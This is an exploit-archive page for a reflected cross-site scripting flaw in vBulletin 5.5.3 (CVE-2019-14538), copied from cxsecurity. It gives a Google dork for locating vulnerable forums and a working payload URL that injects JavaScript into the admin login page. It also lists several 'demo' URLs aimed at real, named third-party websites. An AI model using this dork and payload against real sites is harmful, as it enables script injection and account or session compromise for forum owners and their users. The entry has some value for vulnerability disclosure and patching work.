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vBulletin Reflected XSS via "Click here"

CVE Category Price Severity
CVE-2019-14538 CWE-79 N/A High
Author Risk Exploitation Type Date
N/A High Remote 2019-08-25
CVSS EPSS EPSSP
Not available 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019080131

Below is a copy:

vBulletin Reflected XSS via "Click here" 
# Exploit Title: vBulletin Reflected XSS via "Click here" 
# Google Dork: intext : "Powered by vBulletin Version 5.5.3 Copyright  2019 MH Sub I, LLC dba vBulletin"
# Date: 05/08/2019
# Exploit Author: TrazeR / AKNCLAR
# Vendor Homepage: https://www.vbulletin.com/
# Software Link: https://www.vbulletin.com/download.php
# Version: vBulletin 5.5.3
# Tested on: Windows 10
# CVE : CVE-2019-14538


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Dork: intext : "Powered by vBulletin Version 5.5.3 Copyright  2019 MH Sub I, LLC dba vBulletin"

vBulletin 5.5.3 Reflected XSS via "Click here" 

Payload: 

/admincp/index.php?loginerror_arr[0]=badlogin_strikes_logintypeusername&loginerror_arr[1]=javascript:alert(1923)&loginerror_arr[2]=1&vb_login_username=admin

(Click here!) click here xss will work

Demo : 

https://forum.vbulletin.com/admincp/index.php?loginerror_arr[0]=badlogin_strikes_logintypeusername&loginerror_arr[1]=javascript:alert(1923)&loginerror_arr[2]=1&vb_login_username=admin

https://www.scootersoftware.com/vbulletin//admincp/index.php?loginerror_arr[0]=badlogin_strikes_logintypeusername&loginerror_arr[1]=javascript:alert(1923)&loginerror_arr[2]=1&vb_login_username=admin

https://www.photorials.nl/admincp/index.php?loginerror_arr[0]=badlogin_strikes_logintypeusername&loginerror_arr[1]=javascript:alert(1923)&loginerror_arr[2]=1&vb_login_username=admin

https://powerhacker.net/admincp/index.php?loginerror_arr[0]=badlogin_strikes_logintypeusername&loginerror_arr[1]=javascript:alert(1923)&loginerror_arr[2]=1&vb_login_username=admin

screenshot: https://imguploads.net/images/2019/08/25/vbulletin-xss-trazer.png

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